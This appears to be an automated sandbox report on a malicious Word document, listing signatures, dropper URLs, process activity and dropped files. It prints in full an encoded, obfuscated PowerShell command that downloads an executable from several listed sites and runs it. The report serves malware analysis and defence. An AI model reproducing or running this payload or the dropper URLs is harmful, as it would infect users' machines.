Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 07:36

General

  • Target
    90f93a037983ecfbd69c6706931dc530_JaffaCakes118.doc
  • Size 76KB
  • Sample240603-jfamnshd82
  • SHA256 31e3fc47f0846cce98cedf0a6a8c1a8224b3350c26254982cc9786ec5c9982bc
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://dunworth.com/vEgbzlAiD/

  • exe.dropper

    http://wernerbernheim.com.uy/capacitacion/bMLTBrcIE/

  • exe.dropper

    http://vereb.com/SOghVS/

  • exe.dropper

    http://hocompro.com/JlTszW/

  • exe.dropper

    http://okiembociana.pl/ihCgGO/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\90f93a037983ecfbd69c6706931dc530_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JAB7AFcAcwBgAGMAUgBJAGAAcAB0AH0AIAA9ACAAJgAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAIAAnAGUAdwAtAG8AYgBqACcALAAnAG4AJwAsACcAZQBjAHQAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQAnACwAJwBsACcALAAnAGwAJwApADsAJAB7AHcARQBCAGAAQwBsAGAASQBlAE4AVAB9ACAAPQAgAC4AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACcAbgBlAHcAJwAsACcALQBvAGIAagBlACcALAAnAGMAdAAnACkAIAAoACIAewAxAH0AewAzAH0AewA1AH0AewAwAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgAnACwAJwBTACcALAAnAGkAZQBuAHQAJwAsACcAeQBzAHQAZQBtAC4AJwAsACcAVwBlAGIAQwBsACcALAAnAE4AZQB0ACcAKQA7ACQAewBSAGEAYABOAGAAZABPAG0AfQAgAD0AIAAmACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAgACcAZQBjAHQAJwAsACcAbgAnACwAJwBlAHcALQBvAGIAagAnACkAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBuAGQAbwBtACcALAAnAHIAYQAnACkAOwAkAHsAdQBgAFIAbABzAH0AIAA9ACAAKAAiAHsAMQA0AH0AewAzADYAfQB7ADEANgB9AHsAMwA1AH0AewA1AH0AewAxADUAfQB7ADEAMwB9AHsAMwB9AHsAMgB9AHsAMQAyAH0AewAxADEAfQB7ADMANAB9AHsAMgA3AH0AewAyADkAfQB7ADMAMAB9AHsAMwA3AH0AewA3AH0AewA0AH0AewAxADcAfQB7ADIAMAB9AHsAOAB9AHsAMwA4AH0AewAzADEAfQB7ADEAOQB9AHsAMgAxAH0AewAwAH0AewAxADAAfQB7ADIAOAB9AHsAMgA0AH0AewAyADIAfQB7ADEAfQB7ADIAMwB9AHsANgB9AHsAMwAzAH0AewA5AH0AewAzADIAfQB7ADIANQB9AHsAMgA2AH0AewAxADgAfQAiAC0AZgAgACcAYwAnACwAJwBUAHMAegBXAC8ALABoAHQAdABwACcALAAnAHQAdABwADoALwAvAHcAJwAsACcARAAvACwAaAAnACwAJwByAGUAJwAsACcAbwAnACwAJwAvAC8AbwBrACcALAAnAC8AdgBlACcALAAnAG0AJwAsACcAZQAnACwAJwBvAG0AJwAsACcAcgBiAGUAcgBuAGgAZQBpAG0ALgBjAG8AbQAnACwAJwBlAHIAbgBlACcALAAnAHoAbABBAGkAJwAsACcAaAB0AHQAcAA6AC8ALwAnACwAJwBtAC8AdgBFAGcAYgAnACwAJwByAHQAaAAuACcALAAnAGIALgBjACcALAAnAC8AaQBoAEMAZwBHAE8ALwAnACwAJwBoACcALAAnAG8AJwAsACcAbwAnACwAJwBvAG0ALwBKAGwAJwAsACcAOgAnACwAJwBvAC4AYwAnACwAJwBhAG4AJwAsACcAYQAuAHAAbAAnACwAJwBiAE0ATABUAEIAcgAnACwAJwBwAHIAJwAsACcAYwBJAEUALwAsAGgAdAAnACwAJwB0ACcALAAnAC8ALABoAHQAdABwADoALwAvACcALAAnAG0AYgBvAGMAaQAnACwAJwBpACcALAAnAC4AdQB5AC8AYwBhAHAAYQBjAGkAdABhAGMAaQBvAG4ALwAnACwAJwBjACcALAAnAGQAdQBuAHcAbwAnACwAJwBwADoALwAnACwAJwAvAFMATwBnAGgAVgBTACcAKQAuACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAUwBwAGwAaQAnACwAJwB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAEEAYABNAGUAfQAgAD0AIAAkAHsAcgBhAE4AYABEAE8AbQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAnACwAJwBuAGUAeAAnACkALgBJAG4AdgBvAGsAZQAoADEALAAgADYANQA1ADMANgApADsAJAB7AFAAYABBAFQAaAB9ACAAPQAgACQAewBlAG4AVgA6AFQAYABFAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBtAGUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAZQAnACwAJwAuAGUAeAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAGwAfQAgAGkAbgAgACQAewBVAHIAYABsAHMAfQApAHsAdAByAHkAewAkAHsAdwBlAGIAQwBMAGAASQBgAGUATgBUAH0ALgAoACIAewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAaQBsAGUAJwAsACcAYQBkAEYAJwAsACcAbgBsAG8AJwAsACcARABvAHcAJwApAC4ASQBuAHYAbwBrAGUAKAAkAHsAVQBgAFIAbAB9AC4AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGkAJwAsACcAbgBnACcALAAnAFQAbwBTAHQAcgAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBwAEEAYABUAEgAfQApADsAJgAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACcAUAAnACwAJwByAG8AYwBlAHMAcwAnACwAJwBTAHQAYQByAHQALQAnACkAIAAkAHsAcABgAEEAdABIAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AC4AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAJwB3AHIAaQAnACwAJwB0AGUALQAnACwAJwBoAG8AcwB0ACcAKQAgACQAewBfAH0ALgAiAGUAYAB4AEMARQBwAGAAVABpAE8ATgAiAC4AIgBtAGUAYABTAFMAYQBgAEcARQAiADsAfQB9AA0ACgA=
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:384
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3444

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          44768.exe

          • Path C:\Users\Admin\AppData\Local\Temp\44768.exe
          • Size 7KB
          • SHA256 32a3e2d61956a1bdf15157dc689008fb8f51410eb1d2de0d2e31b13f87815758
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_kyqdbun0.xbo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyqdbun0.xbo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/384-25-0x000001A5C1B30000-0x000001A5C1B52000-memory.dmp

          memory/384-60-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/384-46-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/384-24-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-8-0x00007FF964470000-0x00007FF964480000-memory.dmp

          memory/1600-43-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-6-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-9-0x00007FF964470000-0x00007FF964480000-memory.dmp

          memory/1600-20-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-23-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-38-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-1-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-82-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-5-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-39-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-7-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-44-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-45-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

          memory/1600-4-0x00007FF9A67CD000-0x00007FF9A67CE000-memory.dmp

          memory/1600-2-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-3-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-79-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-80-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-0-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-81-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

          memory/1600-83-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp